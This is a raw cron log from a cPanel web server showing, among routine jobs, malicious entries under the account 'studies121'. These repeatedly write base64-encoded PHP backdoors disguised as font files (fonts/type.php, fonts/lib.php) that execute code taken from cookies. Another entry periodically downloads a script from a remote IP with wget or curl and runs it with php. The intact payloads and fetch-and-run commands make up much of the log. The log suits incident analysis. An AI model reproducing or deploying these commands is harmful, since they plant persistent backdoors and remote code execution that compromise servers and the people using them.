Sep  4 13:12:01 ip-184-168-122-23 CROND[29726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:12:01 ip-184-168-122-23 CROND[29728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:12:01 ip-184-168-122-23 CROND[29731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:12:01 ip-184-168-122-23 CROND[29729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:12:01 ip-184-168-122-23 CROND[29730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:13:01 ip-184-168-122-23 CROND[29831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:13:01 ip-184-168-122-23 CROND[29832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:13:01 ip-184-168-122-23 CROND[29829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:13:01 ip-184-168-122-23 CROND[29830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:14:01 ip-184-168-122-23 CROND[29932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:14:01 ip-184-168-122-23 CROND[29933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:14:01 ip-184-168-122-23 CROND[29936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:14:01 ip-184-168-122-23 CROND[29934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:14:01 ip-184-168-122-23 CROND[29935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:15:01 ip-184-168-122-23 CROND[30109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:15:01 ip-184-168-122-23 CROND[30112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:15:01 ip-184-168-122-23 CROND[30111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:15:01 ip-184-168-122-23 CROND[30110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:15:01 ip-184-168-122-23 CROND[30113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:15:01 ip-184-168-122-23 CROND[30114]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:16:01 ip-184-168-122-23 CROND[30199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:16:01 ip-184-168-122-23 CROND[30200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:16:01 ip-184-168-122-23 CROND[30201]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 13:16:01 ip-184-168-122-23 CROND[30202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:16:01 ip-184-168-122-23 CROND[30203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:16:01 ip-184-168-122-23 CROND[30204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:17:01 ip-184-168-122-23 CROND[30306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:17:01 ip-184-168-122-23 CROND[30310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:17:01 ip-184-168-122-23 CROND[30309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:17:01 ip-184-168-122-23 CROND[30308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:18:01 ip-184-168-122-23 CROND[30396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:18:01 ip-184-168-122-23 CROND[30398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:18:01 ip-184-168-122-23 CROND[30400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:18:01 ip-184-168-122-23 CROND[30397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:18:01 ip-184-168-122-23 CROND[30399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:19:01 ip-184-168-122-23 CROND[30542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:19:01 ip-184-168-122-23 CROND[30544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:19:01 ip-184-168-122-23 CROND[30545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:19:01 ip-184-168-122-23 CROND[30546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:20:01 ip-184-168-122-23 CROND[30642]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 13:20:01 ip-184-168-122-23 CROND[30643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:20:01 ip-184-168-122-23 CROND[30645]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:20:01 ip-184-168-122-23 CROND[30649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:20:01 ip-184-168-122-23 CROND[30650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:20:01 ip-184-168-122-23 CROND[30648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:20:01 ip-184-168-122-23 CROND[30644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:20:01 ip-184-168-122-23 CROND[30651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:20:01 ip-184-168-122-23 CROND[30647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:21:01 ip-184-168-122-23 CROND[30836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:21:01 ip-184-168-122-23 CROND[30837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:21:01 ip-184-168-122-23 CROND[30838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:21:01 ip-184-168-122-23 CROND[30840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:22:01 ip-184-168-122-23 CROND[30950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:22:01 ip-184-168-122-23 CROND[30952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:22:01 ip-184-168-122-23 CROND[30953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:22:01 ip-184-168-122-23 CROND[30954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:22:01 ip-184-168-122-23 CROND[30956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:23:01 ip-184-168-122-23 CROND[31047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:23:01 ip-184-168-122-23 CROND[31046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:23:01 ip-184-168-122-23 CROND[31048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:23:01 ip-184-168-122-23 CROND[31049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:24:01 ip-184-168-122-23 CROND[31133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:24:01 ip-184-168-122-23 CROND[31135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
